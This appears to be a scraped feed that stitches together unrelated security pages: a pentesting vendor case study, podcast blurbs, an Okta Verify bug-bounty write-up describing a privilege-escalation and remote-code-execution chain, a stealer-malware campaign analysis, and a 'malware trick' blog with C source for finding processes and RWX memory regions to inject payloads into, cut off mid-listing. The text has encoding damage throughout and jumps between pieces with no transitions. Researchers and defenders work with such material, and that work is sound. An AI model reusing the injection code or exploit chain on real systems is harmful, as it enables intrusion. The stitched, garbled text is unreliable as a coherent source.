βWith legacy 911 systems, moving to a more IP-based solution is opening up a new world for 911,β explains Brian. So, rewriting and iterating on NG911 cybersecurity regulations, policies, and guidelines is key to keeping pace with the evolving cyber threats and fortify cybersecurity defenses. According to CISA, βthe 911 system requires stable, safe, and resilient communicationsβ and pointed to two things that all PSAPs should do to improve their overall cybersecurity:
Cybersecurity risk assessments
Cyber incident response and vulnerability response plans
Intuitus: Role of the CTO
Cybersecurity risk assessments are crucial for PSAPs because they help identify potential vulnerabilities and weaknesses within their systems proactively, allowing them to prioritize resources and implement effective security measures to mitigate risks. Additionally, having robust cyber incident response and vulnerability response plans is essential, as they enable PSAPs security teams to respond swiftly and effectively to cyberattacks. Intuitus also offers its customers SOC as a Service with Managed Detection & Response (MDR) as a fully self-contained solution that can be rapidly deployed into the existing infrastructure.
In the context of cybersecurity risks assessments, we at Horizon3.ai have seen our customers implement a regular cadence of penetration (aka βpenβ) testing to ensure that they are continuously assessing their infrastructure to stay ahead of cyber threats. In general, most facets of the public safety sector have yearly cyber risk assessment requirements. However, this infrequent assessment schedule means that any new threats introduced after the assessment wonβt be identified or mitigated promptly, leaving the organization exposed to potential breaches or attacks.
βMost PSAPs only conduct a once-a-year pentest, and donβt do pentesting all the time.β
Further, changes in the organizationβs IT infrastructure, software updates, and the introduction of new technologies can also introduce new vulnerabilities that would remain unaddressed until the next annual assessment, further increasing the risk of cyber incidents.
Enter NodeZeroβ’
With the increased focus on ensuring PSAPs are following national and international cybersecurity regulations, policies, and guidelines, as well as conducting cyber risk assessments yearly, Brian needed to find a solution that could increase Intuitusβ pentesting footprint and blast radius. He also wanted something that was easy to use, straightforward, and required less training time to learn. Moreover, he wanted something that could βenable digestible conversations withβ¦customers and simplify what security measures must be taken to mitigate vulnerabilities in their environment quickly.β With Intuitus expanding not only in the U.S. but internationally, they needed a tool that could enable them to keep pace with their growing demand for continuous pentesting.
Intuitus: Autonomous Pentesting
After testing a few competitors that offer similar functionality and capabilities as NodeZero, Brian mentions that the tools βjust didnβt do it right, not the way NodeZero does.β What we often find is that other βpentesting toolsβ canβt do what NodeZero does, and sometimes involve on-prem solutions that are complex and require additional training for in-house pentesters. Brian can use NodeZero right away, without needing to train his pentesters or attend lengthy instruction on how to run a pentest, use 1-Click Verify, or read reports. Additionally, this ease of use allows Brian and his team to foster better relationships with his customers because the reports are not overly complicated, yet they provide detail and give actionable guidance for even the novice user.
βNodeZero enables me to have a relationship with a customer that I wouldnβt have otherwise had without the toolβ
Compliance for Everyone
As with almost all sectors and industries worldwide, when it comes to cybersecurity compliance, there is always a regulation or policy to comply with to meet minimum operating standards. According to Brian, βmost of our pentests are performed because of some compliance regulation that needs to happen or that our customer must comply with.β Intuitus customers often require an audit with proof of a pentest and mitigation results to meet compliance requirements.
Auditors require pentests for compliance reasons to verify that an organizationβs cybersecurity defenses are robust and effective against cyber threats, ensuring adherence to industry standards and regulatory requirements. Pentesting provides concrete evidence of security posture and readiness, helping organizations demonstrate due diligence in protecting sensitive data and systems. βOne of our supply chain customers needed a pentest, and we told them that we can easily do that so they could meet the newly established [at that time] supply chain compliance standards,β Brian shared β another example of how NodeZero is enabling Intuitus to meet nearly all of their customers cybersecurity needs/requirements.
β100% of our [Intuitus] pentesting business weβre doing today; we would not be doing if we didnβt have NodeZeroβ¦ Horizon3.ai has given us 20% more capability than any other tool we have used or demoβd. We have added many more customers to our business because we offer pentesting services.β
To Wrap it Up
By partnering with Horizon3.ai, Intuitus uses NodeZero as a force multiplier. Brian wanted to implement and offer in-house pentesting to ensure Intuitus is seen as a βtrusted advisor, helping us continue to grow and maintain our full service offering to customers.β Additionally, Intuitusβ pivotal role within the public safety space ensures PSAPs are meeting and exceeding compliance standards, while also enabling them to stay ahead of threats and hardened against constantly evolving threats.
TL;DR A Server Side Template Injection in changedetection.io caused by usage of unsafe functions of Jinja2 allows Remote Command Execution on the server host. Update changedetection.io to version 0.45.21 or later. A huge thanks to the mantainer (https://github.com/dgtlmoon) that was very responsive and collaborative to fix the issue, request a CVE number and inform the [β¦]
Infosec and Cyber Work hacks can help you pass Ciscoβs CCNA certification exam! But what if you think youβre not ready to make that jump? What would it take for you to jump into the study of the CCNA with both feet? Infosecβs CCNA boot camp instructor Wilfredo Lanz wants you to know that you can be ready to start the big learning a lot faster than you think, and tells us why some of his most entry-level students often do better on the test than their more established classmates. If the prospect of passing the CCNA on the first try got you fired up, well, thatβs the point! Keep the excitement coming, and check out todayβs Cyber Work Hack.
0:00 - Cisco's CCNA certification exam 0:57 - Who enrolls in an Infosec CCNA boot camp 2:50 - What should you know before studying for the CCNA? 3:50 - What does a CCNA certified IT network professional do? 6:42 - Ensuring you're ready to take on CCNA 9:59 - How to gain networking experience 11:39 - Become an IT and networking professional 12:50 - Outro
About Infosec Infosecβs mission is to put people at the center of cybersecurity. We help IT and security professionals advance their careers with skills development and certifications while empowering all employees with security awareness and phishing training to stay cyber-safe at work and home. More than 70% of the Fortune 500 have relied on Infosec Skills to develop their security talent, and more than 5 million learners worldwide are more cyber-resilient from Infosec IQβs security awareness training. Learn more at infosecinstitute.com.
Today on Cyber Work, Iβve got a big guest for you. Jeffrey Brown, Faculty at IANS Research, is also the chief information security officer for, not a company, not for a healthcare organization, but for the entire state of Connecticut! Brown walks me through the scope and reach of a state-wide CISO, a country-wide move toward a βwhole of stateβ strategy and, frankly, I spend an awful lot of time talking to Brown about where he finds the time to do all the things he does.
0:00 - Being CISO of an entire state 1:50 - Early interest in computer, tech and security 5:17 - A communication background in cybersecurity 7:31 - Cybersecurity career time management 13:59 - Working as a CISO of a state 15:45 - How to prepare for a CISO role at the state level 18:51 - What does a CISO do for a U.S. state? 25:50 - State cybersecurity approach 27:41 - Cyber attacks and challenges states face 32:00 - Is cybersecurity awareness a waste of time? 37:31 - Skills needed to work in cybersecurity for the state 40:11 - Learning how to lead in cybersecurity 43:20 - Favorite parts of state cybersecurity 44:19 - Resources to improve cyber hygiene 46:14 - Best piece of cybersecurity career advice 48:47 - Learn more about Jeffrey Brown 49:33 - Outro
This is a very wide-ranging and inspiring episode β whether youβre slogging through cert study or hitting a wall trying to figure out your next career pivot, my talk with Jeff will absolutely give you a new perspective. Keep it right here for Cyber Work!Β
About Infosec Infosecβs mission is to put people at the center of cybersecurity. We help IT and security professionals advance their careers with skills development and certifications while empowering all employees with security awareness and phishing training to stay cyber-safe at work and home. More than 70% of the Fortune 500 have relied on Infosec Skills to develop their security talent, and more than 5 million learners worldwide are more cyber-resilient from Infosec IQβs security awareness training. Learn more at infosecinstitute.com.
In this blog post, we'll introduce a new bypass technique designed to bypass AMSI without the VirtualProtect API and without changing memory protection.
This article is in no way affiliated, sponsored, or endorsed with/by Okta, Inc. All graphics are being displayed under fair use for the purposes of this article.
Poppin shells with Okta Verify on Windows
These days I rarely have an opportunity to do bug hunting. Fortunately, over the holiday break, I found some free time. This started as it usually does with me looking at what software was running on my computer.
A while back I had installed Okta Verify on my Windows box as it was required for some βenhancedβ 2FA that I was required to have to access a thing. Months later it sat there doing whatever it does. I googled to see if Okta had a bug bounty program because even though I had some time, itβd be nice to get paid if I found a thing. I was thrilled to find that Okta had a bug bounty with Bugcrowd, Okta Verify is in it, and the payouts look good, almost toogood.
I started with my usual bug hunting flow when approaching a random Windows service. This typically includes looking for the usual low hanging fruit. A good article for the types of things to look for can be found here.
Firing up Sysinternalβs Procmon, I saw there is a service called Okta.Coordinator.Service that is running as SYSTEM. Without going into the details (namely because Okta hasnβt fixed it or issued it a CVE),Β I found a thing. I submitted the report and was promptly paid.
Well thatβs weird. The bug I submitted is an unequivocal 7.8 CVSS. Which without knowing the voodoo behind P ratings (P1-P4), seems like would be a P2 at least. Instead I get a P3 and paid out at the lower end.
Looking back on it, Iβm betting this is probably an old bug bounty program trick to motivate researchers to dig deeperβ¦ because, it worked. I decided to take a closer look since I hadnβt even opened up the binary to see what it was doing β and I wanted to get that big payout.
Letβs Get Crackinβ
I havenβt popped Okta.Coordinator.Service.exe into a disassembler yet, but Iβm betting itβs a .NET application. My guess comes from its name and the fact that thereβs an Okta.Coordinator.Service.exe.config file right there with it, which you usually see with .NET applications.
When I open up the executable in JetBrains dotPeek, I can confirm it is indeed a .NET application. The binary appears to be a service wrapper. It handles the service related functionality: install, uninstall, start, stop, etc.Β It references a Okta.AutoUpdate.Executor class that just so happens to have a matching DLL in the same directory.
Moving on to the DLL in dotPeek, I found the code used by the service. The first thing I noticed was it sets up a NamedPipe server, which listens for commands to update the Okta Verify software. This is a common design paradigm in Windows for enabling low-privileged applications to communicate with a high-privileged service to perform updates, as these often require elevated privileges. Itβs a complex mechanism thatβs tricky to do right, and often a good place for finding bugs. I was able to confirm the existence of the named-pipe server with a little Powershell.
Next, I investigated how to initiate an update and what aspects of this process could be manipulated by an attacker. The handler for the named pipe processes a straightforward JSON message that includes several fields, some checked against expected values. The primary field of interest is the update URL. If the input data passes validation, the software will attempt to fetch details from the specified URL about the most recent update package available. As shown below, the URL (sub)domain is verified against a whitelist before proceeding. For now, Iβll avoid trying to meet/bypass this requirement and simply add an entry in the hosts file on my test machine.
Typically at this stage, Iβd code up a proof of concept (POC) to send a JSON message to the named pipe and check if the software connected to a web server I control. But since I havenβt spotted any potential vulnerabilities yet, I skipped that step and moved on.
From here I took a look at the code responsible for processing the JSON message retrieved from the attacker controlled update server. The application is expecting a message that contains metadata about an update package including versioning and an array of file metadata objects. These objects contain several pertinent fields such the download URL, size, hash, type, and command line arguments. The provided download URL is validated with the same domain checking algorithm as before. If the check passes, the software downloads the file and writes it to disk. This is where things get interesting. The code parses the download URL from the received metadata and constructs the file path by calling the Path.Combine function.
Several factors are converging here to create a serious vulnerability. The most obvious is the use of the Path.Combine function with user supplied data. I went into depth about this issue in a previous blog post here. The TLDR is if a full path is provided as the second argument to this function, the first argument that typically specifies the parent folder, is ignored. The next issue is how the filename is parsed. The code splits the file location URL by forward slash and takes the last element as the filename. The problem (solution) is a full Windows path can be inserted here using back slashes and itβs still a valid URL. Since the service is running as SYSTEM, we have permissions to right anywhere. If we put all this together our payload looks something like the script below.
Copy to Clipboard
Now that I have a potential bug to test out, I craft the POC for the named pipe client to trigger the update. Luckily, this code already exists in the .NET DLL for me to repurpose.Β With my web server code also in place I send the request to test out the file write. As I had hoped, the file write succeeds!
Cool, but what about impact!
I have the ability to writeΒ arbitraryΒ files as SYSTEM on Windows. How can I leverage this to achieve on-demand remote code execution? The first thing that comes to mind is some form of DLL hijacking. Iβve used phantom DLL hijacking in the past but this is more appropriate for red team operations where time constraints arenβt really an issue. What I really need is the ability to force execution shortly after the file write.
Since the whole purpose behind this service is to install an update, can I just use it to execute my code? I reviewed the code after the file write to see what it takes to execute the downloaded update package. It appears the file type field in the file object metadata is used to indicate which file to execute. If the EXE or MSI file type is set, the application will attempt to validate the file signature before executing it, along with any supplied arguments. The process launcher executes the binary with UseShellExecute set to false so no possibility of command injection.
My original thought was to deliver a legitimate Okta Verify package since this would pass the signature check. I could then use ProcMon to identify a DLL hijack in the install package. Privileged DLL hijacks occur in almost all services because the assumption is you already require the permissions to write to a privileged location. Ironically though, I found the service binary actually contained a DLL hijack just prior to the signature verification to load the necessary cryptographic libraries. If I write a DLL to C:\Program Files (x86)\Okta\UpdateService\wintrust.dll, it will get loaded just prior to signature verification.
Great, so now I have a way to execute arbitrary code from an unprivileged user to SYSTEM. βGuessingβΒ that this probably wonβt meet the bar of P1 or P2, I start thinking of how to upgrade this to remote code execution. If RCE doesnβt get a P1 then what does? The interesting thing about named pipes is that they are often remotely accessible. It all depends on what permissions are set. Looking at the code below, it sets full control to the βBUILTIN\Usersβ group.
Testing from a remote system in my network confirms that I get permissioned denied when I try to connect to the named pipe. After a couple of days I had an idea. If a Windows system is part of a Active Directory domain, does the BUILTIN/Users group permissions automatically get converted to the βDomain Usersβ group in a domain? This would mean any user in an AD domain could remotely execute code on any system that has Okta Verify installed. Moreover, considering that this software is aimed at large corporate enterprises, it would likely be included in the standard build and deployed broadly. So not explicitly βDomain Adminβ but a good chance of it. I had to find out, so I stood up a test AD network in AWS and the following video shows what happened.
Almost done
Well that seems like a big deal right? Maybe get a P1 (and 70kβ¦)? Iβm guessing the small detail about not having an Okta subdomain to download from may keep it from landing a P1. Having worked at big tech companies, I know that subdomain takeover reports are common. However, without having a subdomain takeover, itβs likely the bugβs significance will be minimized. I decided to dedicate some time to searching for one to complete the exploit chain. After going through the standard bug bounty subdomain takeover tools, I came up with only one viable candidate: oktahelpspot.okta.com.Β It pointed to an IP with no open ports, managed by a small VPS provider named Arcustech.
After signing up for an account and some very innocent social engineering, I got the following response. And then a second email from the first personβs manager. Oh well, so much for that.
The next thing that came to mind was leveraging a custom Okta client subdomain. Whenever a new client registers with Okta, they receive a personalized Okta subdomain to manage their identity providers, e.g. trial-XXXXXXX.customdomains.okta.com. I found a way to set custom routes in the web management application that would redirect traffic from your custom domain to a user defined URL.Β Unfortunately, this redirect was implemented in Javascript, rather than through a conventional 302 or 301 HTTP redirect. Consequently, the .NET HTTP client that the Okta Verify update service uses did not execute the Javascript and therefore did not follow the redirect as a browser would.
Reporting
At this point, I decided it was time to report my findings to Okta. Namely, because they were offering a bonus at the time for what appeared to be Okta Verify, which I think they might have either forgotten or included without mentioning. Secondly, I didnβt want to risk someone else beating me to it. I am happy to report they accepted the report and awarded me a generous bounty of $13,337 as a P2. It wasnβt quite $70k, or a P1, but itβs nothing to sneeze at. I want to thank Okta for the bounty and quick resolution. They also kindly gave me permission to write this blog post and followed through with issuing CVE-2024-0980 along with an advisory.
One last note, if anyone reading this identifies a way to bypass the subdomain validation check I would be very interested. I attempted most of the common URL parsing confusion techniques as well as various encoding tricks all for naught. Drop me a line at @rwincey on X
The BI.ZONE Threat Intelligence team has uncovered a fresh campaign by the group targeting Russian and Belarusian organizations
Key findings
The clusterβs methods evolve continuously with new tools added to itsΒ arsenal.
The use of password-protected archives enables the criminals to bypass defenses and deliver malware successfully.
With phishing emails sent out on behalf of government agencies, the victim is much more likely to interact with the malicious attachments.
Campaign
The threat actors are distributing phishing emails under the guise of a federal agency. The emails have a legitimate document as an attachment. It aims to lull the recipientβs vigilance and prompt them to open the other file, a password-protected archive.
The files in theΒ archive:
ΠΠ°ΡΠΎΠ»Ρ 120917.txt, an empty file whose name contains the password to theΒ archive
ΠΡΠ°Π²Π° ΠΈ ΠΎΠ±ΡΠ·Π°Π½Π½ΠΎΡΡΠΈ ΠΈ ΠΏΡΠΎΡΠ΅Π΄ΡΡΠ° ΡΡ. 164, 170, 183 Π£ΠΠ Π Π€.rtf (the rights, obligations, and procedure under the Criminal Procedure Code of the Russian Federation), another legitimate document serving as aΒ decoy
ΠΠ°ΡΠ΅ΡΠ°Π»Ρ ΠΊ Π·Π°ΠΏΡΠΎΡΡ, ΠΎΠ±ΡΠ·Π°ΡΠ΅Π»ΡΠ½ΠΎ ΠΊ ΠΎΠ·Π½Π°ΠΊΠΎΠΌΠ»Π΅Π½ΠΈΡ ΠΈ ΠΏΡΠ΅Π΄ΠΎΡΡΠ°Π²Π»Π΅Π½ΠΈΡ ΠΈΠ½ΡΠΎΡΠΌΠ°ΡΠΈΠΈ-.exe (inquiry materials that require some action), an executable with malicious payload
The executable file is a loader, in2al5d p3in4er (Invalid Printer). After a successful anti-virtualization check, the loader injects the malicious payload into the address space of the explorer.exe process.
The check performed with the dxgi.dll library enables the loader to retrieve the IDs of the manufacturers of the graphics cards used in the system. Where such IDs do not match those of Nvidia, AMD, or Intel, the malicious file would stopΒ running.
The loader is distinguished by not using WinAPI calls to access the Windows kernel. Instead, the kernel functions are called directly through jumps to the syscall instruction with the required arguments.
The arguments for kernel calls are passed through the following registers: R10, RDX, R8, R9. The RAX register is used to store the number of the initiated system call. In this case, the number 0x0036 corresponds to the system call NtQuerySystemInformation.
It is noteworthy that during the execution the loader would attempt to open multiple random files non-existent in the system and write random data into them. While such behavior does not affect the execution, this may help to detect the malicious activity in theΒ system.
In order to identify the explorer.exe process, the loader enumerates the structures of the launched processes searching for the matching checksum. After identifying the required process, the loader allocates a memory region within this process with execution rights and copies the decrypted malicious payload into it. Finally, it modifies the process context to execute the injected shellΒ code.
The payload is the shell code obtained with the help of the open-source Donut utility, which allows executable files (includingΒ .NET) to run in the memory. The utility has some additional features such as compression and encryption of malicious payload.
In the case under review, the malicious payload executed by this loader is the White Snake stealer, version 1.6.1.9. This is the latest version of the stealer published at the end of March 2024. It does not verify whether the victim is located in Russia or other CIS countries.
In August 2023, the official White Snake channel published a post related to our investigation. The post informed that one of the customers had modified the malware and removed the AntiCISΒ module.
We believe that with this statement the developers merely wanted to avoid getting blocked on popular underground resources.
When started, White Snake performs the following actions:
creates and checks the mutex specified in the configuration
(where such option is available) runs anti-virtualization checks: retrieves the device model and manufacturer and compares them with the program lines For this purpose, the following WMI requests are used: SELECT * FROM Win32_ComputerSystem β Model SELECT * FROM Win32_ComputerSystem β Manufacturer
(where such option is available) moves the current executable file to the directory as specified in the configuration (that is, C:\Users\[user]\AppData\Local\RobloxSecurity) and runs a command to add a task to the scheduler; then terminates the execution and self-runs from a new location:
Interestingly, the legitimate explorer.exe would be copied without the injected shell code in this particular case.
White Snake can also use the serveo[.]net service. This option enables OpenSSH to be downloaded via the link to the GitHub repository (https://github.com/PowerShell/Win32-OpenSSH/releases/download/v9.2.2.0p1-Beta/OpenSSH-Win32.zip) and launched with the following command:
More indicators of compromise and a detailed description of threat actor tactics, techniques, and procedures are available on the BI.ZONE Threat Intelligence platform.
Detecting such malicious activity
The BI.ZONE EDR rules below can help organizations detect the described malicious activity:
We would also recommend that you monitor suspicious activity relatedΒ to:
running executable files with long names resembling documentΒ names
multiple opening of files, including non-existent files
running suspicious WMIΒ commands
scheduled tasks with atypical executables and system files in unusual directories
OpenSSH downloads fromΒ GitHub
network communications with serveo[.]net
reading the files in browser folders with credentials
reading the registry keys with sensitive data
How to protect your company from suchΒ threats
Scaly Werewolfβs methods of gaining persistence on endpoints are hard to detect with preventive security solutions. Therefore we recommend that companies enhance their cybersecurity with endpoint detection and response practices, for instance, with the help of BI.ZONEΒ EDR.
To stay ahead of threat actors, you need to be aware of the methods used in attacks against different infrastructures and to understand the threat landscape. For this purpose, we would recommend that you leverage the data from the BI.ZONE Threat Intelligence platform. The solution provides information about current attacks, threat actors, their methods and tools. This data helps to ensure the effective operation of security solutions, accelerate incident response, and protect from the most critical threats to theΒ company.
Horizon3.ai, a leading provider of autonomous security solutions, today announced the appointment of Matt Hartley as Chief Revenue Officer (CRO), effective immediately.Hartley brings over 20 years of sales and operations excellence with a proven track record of building go-to-market (GTM) teams that achieve rapid scale and predictabilityβ¦
Hello, cybersecurity enthusiasts and white hackers!
In one of my previous posts, I described a process injection method using RWX-memory searching logic. Today, I will apply the same logic, but with a new trick.
As you remember, the method is simple: we enumerate the presently running target processes on the victimβs system, scan through their allocated memory blocks to see if any are protected with RWX, and then write our payload to this memory block.
practical example
Today I will use a little bit different trick. Letβs say we are search specific process in the victimβs machine (for injection or for something else).
Letβs go to use a separate function for hunting RWX-memory region from the victim process, something like this:
intfindRWX(HANDLEh){MEMORY_BASIC_INFORMATIONmbi={};LPVOIDaddr=0;// query remote process memory informationwhile(VirtualQueryEx(h,addr,&mbi,sizeof(mbi))){addr=(LPVOID)((DWORD_PTR)mbi.BaseAddress+mbi.RegionSize);// look for RWX memory regions which are not backed by an imageif(mbi.Protect==PAGE_EXECUTE_READWRITE&&mbi.State==MEM_COMMIT&&mbi.Type==MEM_PRIVATE)printf("found RWX memory: 0x%x - %#7llu bytes region\n",mbi.BaseAddress,mbi.RegionSize);}return0;}
Also a little bit update for our main logic: first of all, we are search specific processβ handle by itβs name:
typedefNTSTATUS(NTAPI*fNtGetNextProcess)(_In_HANDLEProcessHandle,_In_ACCESS_MASKDesiredAccess,_In_ULONGHandleAttributes,_In_ULONGFlags,_Out_PHANDLENewProcessHandle);intfindMyProc(constchar*procname){intpid=0;HANDLEcurrent=NULL;charprocName[MAX_PATH];// resolve function addressfNtGetNextProcessmyNtGetNextProcess=(fNtGetNextProcess)GetProcAddress(GetModuleHandle("ntdll.dll"),"NtGetNextProcess");// loop through all processeswhile(!myNtGetNextProcess(current,MAXIMUM_ALLOWED,0,0,¤t)){GetProcessImageFileNameA(current,procName,MAX_PATH);if(lstrcmpiA(procname,PathFindFileName((LPCSTR)procName))==0){pid=GetProcessId(current);break;}}returncurrent;}
As you can see, we useNtGetNextProcess API for enumerating processes.
So the final source code is looks like this (hack.c):
/*
* hack.c - hunting RWX memory
* @cocomelonc
* https://cocomelonc.github.io/malware/2024/05/01/malware-trick-38.html
*/#include<windows.h>
#include<stdio.h>
#include<psapi.h>
#include<shlwapi.h>
#include<strsafe.h>
#include<winternl.h>typedefNTSTATUS(NTAPI*fNtGetNextProcess)(_In_HANDLEProcessHandle,_In_ACCESS_MASKDesiredAccess,_In_ULONGHandleAttributes,_In_ULONGFlags,_Out_PHANDLENewProcessHandle);intfindMyProc(constchar*procname){intpid=0;HANDLEcurrent=NULL;charprocName[MAX_PATH];// resolve function addressfNtGetNextProcessmyNtGetNextProcess=(fNtGetNextProcess)GetProcAddress(GetModuleHandle("ntdll.dll"),"NtGetNextProcess");// loop through all processeswhile(!myNtGetNextProcess(current,MAXIMUM_ALLOWED,0,0,¤t)){GetProcessImageFileNameA(current,procName,MAX_PATH);if(lstrcmpiA(procname,PathFindFileName((LPCSTR)procName))==0){pid=GetProcessId(current);break;}}returncurrent;}intfindRWX(HANDLEh){MEMORY_BASIC_INFORMATIONmbi={};LPVOIDaddr=0;// query remote process memory informationwhile(VirtualQueryEx(h,addr,&mbi,sizeof(mbi))){addr=(LPVOID)((DWORD_PTR)mbi.BaseAddress+mbi.RegionSize);// look for RWX memory regions which are not backed by an imageif(mbi.Protect==PAGE_EXECUTE_READWRITE&&mbi.State==MEM_COMMIT&&mbi.Type==MEM_PRIVATE)printf("found RWX memory: 0x%x - %#7llu bytes region\n",mbi.BaseAddress,mbi.RegionSize);}return0;}intmain(intargc,char*argv[]){charprocNameTemp[MAX_PATH];HANDLEh=NULL;intpid=0;h=findMyProc(argv[1]);if(h)GetProcessImageFileNameA(h,procNameTemp,MAX_PATH);pid=GetProcessId(h);printf("%s%d\n",pid>0?"process found at pid = ":"process not found. pid = ",pid);findRWX(h);CloseHandle(h);return0;}
demo
Letβs go to see everything in action. Compile our malware source code:
And run it at the victimβs machine (Windows 11 x64 in my case):
Try on another target process, for example OneDrive.exe:
Our logic is worked, RWX-memory successfully founded!
As you can see, everything is worked perfectly! =^..^=
practical example 2
But there are the caveats. Sometimes we need to know is this process is .NET process or Java or something else (is it really OneDrive.exe process)?
For .NET process we need interesting trick, if we open powershell.exe via Process Hacker 2:
As you can see, in the Handles tab we can find interesting section with name \BaseNamedObjects\Cor_Private_IPCBlock_v4_<PID>" in our case PID = 3156, so our string is equal \BaseNamedObjects\\Cor_Private_IPCBlock_v4_3156.
So, letβs update our function findMyProc, like this:
HANDLEfindMyProc(constchar*procname){intpid=0;HANDLEcurrent=NULL;charprocName[MAX_PATH];// resolve function addressesfNtGetNextProcess_tmyNtGetNextProcess=(fNtGetNextProcess_t)GetProcAddress(GetModuleHandle("ntdll.dll"),"NtGetNextProcess");fNtOpenSection_tmyNtOpenSection=(fNtOpenSection_t)GetProcAddress(GetModuleHandle("ntdll.dll"),"NtOpenSection");// loop through all processeswhile(!myNtGetNextProcess(current,MAXIMUM_ALLOWED,0,0,¤t)){GetProcessImageFileNameA(current,procName,MAX_PATH);if(lstrcmpiA(procname,PathFindFileNameA(procName))==0){pid=GetProcessId(current);// Check for "\\BaseNamedObjects\\Cor_Private_IPCBlock_v4_<PID>" sectionUNICODE_STRINGsName;OBJECT_ATTRIBUTESoa;HANDLEsHandle=NULL;WCHARprocNumber[32];WCHARobjPath[]=L"\\BaseNamedObjects\\Cor_Private_IPCBlock_v4_";sName.Buffer=(PWSTR)malloc(500);// convert INT to WCHARswprintf_s(procNumber,L"%d",pid);// and fill out UNICODE_STRING structureZeroMemory(sName.Buffer,500);memcpy(sName.Buffer,objPath,wcslen(objPath)*2);// add section name "prefix"StringCchCatW(sName.Buffer,500,procNumber);// and append with process IDsName.Length=wcslen(sName.Buffer)*2;// finally, adjust the string sizesName.MaximumLength=sName.Length+1;InitializeObjectAttributes(&oa,&sName,OBJ_CASE_INSENSITIVE,NULL,NULL);NTSTATUSstatus=myNtOpenSection(&sHandle,SECTION_QUERY,&oa);if(NT_SUCCESS(status)){CloseHandle(sHandle);break;}}}returncurrent;}
Just convert process id int to UNICODE STRING and concat, then try to find section logic.
Here, NtOpenSection API use for opens a handle for an existing section object:
So, the full source code for this logic (finding .NET processes in the victimβs system) looks like this:
/*
* hack2.c - hunting RWX memory
* detect .NET process
* @cocomelonc
* https://cocomelonc.github.io/malware/2024/05/01/malware-trick-38.html
*/#include<windows.h>
#include<stdio.h>
#include<psapi.h>
#include<shlwapi.h>
#include<strsafe.h>
#include<winternl.h>typedefNTSTATUS(NTAPI*fNtGetNextProcess_t)(_In_HANDLEProcessHandle,_In_ACCESS_MASKDesiredAccess,_In_ULONGHandleAttributes,_In_ULONGFlags,_Out_PHANDLENewProcessHandle);typedefNTSTATUS(NTAPI*fNtOpenSection_t)(PHANDLESectionHandle,ACCESS_MASKDesiredAccess,POBJECT_ATTRIBUTESObjectAttributes);HANDLEfindMyProc(constchar*procname){intpid=0;HANDLEcurrent=NULL;charprocName[MAX_PATH];// resolve function addressesfNtGetNextProcess_tmyNtGetNextProcess=(fNtGetNextProcess_t)GetProcAddress(GetModuleHandle("ntdll.dll"),"NtGetNextProcess");fNtOpenSection_tmyNtOpenSection=(fNtOpenSection_t)GetProcAddress(GetModuleHandle("ntdll.dll"),"NtOpenSection");// loop through all processeswhile(!myNtGetNextProcess(current,MAXIMUM_ALLOWED,0,0,¤t)){GetProcessImageFileNameA(current,procName,MAX_PATH);if(lstrcmpiA(procname,PathFindFileNameA(procName))==0){pid=GetProcessId(current);// check for "\\BaseNamedObjects\\Cor_Private_IPCBlock_v4_<PID>" sectionUNICODE_STRINGsName;OBJECT_ATTRIBUTESoa;HANDLEsHandle=NULL;WCHARprocNumber[32];WCHARobjPath[]=L"\\BaseNamedObjects\\Cor_Private_IPCBlock_v4_";sName.Buffer=(PWSTR)malloc(500);// convert INT to WCHARswprintf_s(procNumber,L"%d",pid);// and fill out UNICODE_STRING structureZeroMemory(sName.Buffer,500);memcpy(sName.Buffer,objPath,wcslen(objPath)*2);// add section name "prefix"StringCchCatW(sName.Buffer,500,procNumber);// and append with process IDsName.Length=wcslen(sName.Buffer)*2;// finally, adjust the string sizesName.MaximumLength=sName.Length+1;InitializeObjectAttributes(&oa,&sName,OBJ_CASE_INSENSITIVE,NULL,NULL);NTSTATUSstatus=myNtOpenSection(&sHandle,SECTION_QUERY,&oa);if(NT_SUCCESS(status)){CloseHandle(sHandle);break;}}}returncurrent;}intfindRWX(HANDLEh){MEMORY_BASIC_INFORMATIONmbi={};LPVOIDaddr=0;// query remote process memory informationwhile(VirtualQueryEx(h,addr,&mbi,sizeof(mbi))){addr=(LPVOID)((DWORD_PTR)mbi.BaseAddress+mbi.RegionSize);// look for RWX memory regions which are not backed by an imageif(mbi.Protect==PAGE_EXECUTE_READWRITE&&mbi.State==MEM_COMMIT&&mbi.Type==MEM_PRIVATE)printf("found RWX memory: 0x%x - %#7llu bytes region\n",mbi.BaseAddress,mbi.RegionSize);}return0;}intmain(intargc,char*argv[]){charprocNameTemp[MAX_PATH];HANDLEh=NULL;intpid=0;h=findMyProc(argv[1]);if(h)GetProcessImageFileNameA(h,procNameTemp,MAX_PATH);pid=GetProcessId(h);printf("%s%d\n",pid>0?"process found at pid = ":"process not found. pid = ",pid);findRWX(h);CloseHandle(h);return0;}
demo 2
Letβs go to see second example in action. Compile it:
Now, second practical example worked as expected! Great! =^..^=
practical example 3
Ok, so what about previous question?
How we can check if the victim process is really OneDrive.exe process? Itβs just in case, for example.
Letβs check OneDrive.exe process properties via Process Hacker 2:
As you can see we can use the same trick: check section by itβs name: \Sessions\1\BaseNamedObjects\UrlZonesSM_test1. Of course, I could be wrong and the presence of this string does not guarantee that this is OneDrive.exe process. I just want to show that you can examine any process and try to find some indicators in the section names.
So, I updated my function again and full source code of my third example (hack3.c):
/*
* hack.c - hunting RWX memory
* @cocomelonc
* https://cocomelonc.github.io/malware/2024/05/01/malware-trick-38.html
*/#include<windows.h>
#include<stdio.h>
#include<psapi.h>
#include<shlwapi.h>
#include<strsafe.h>
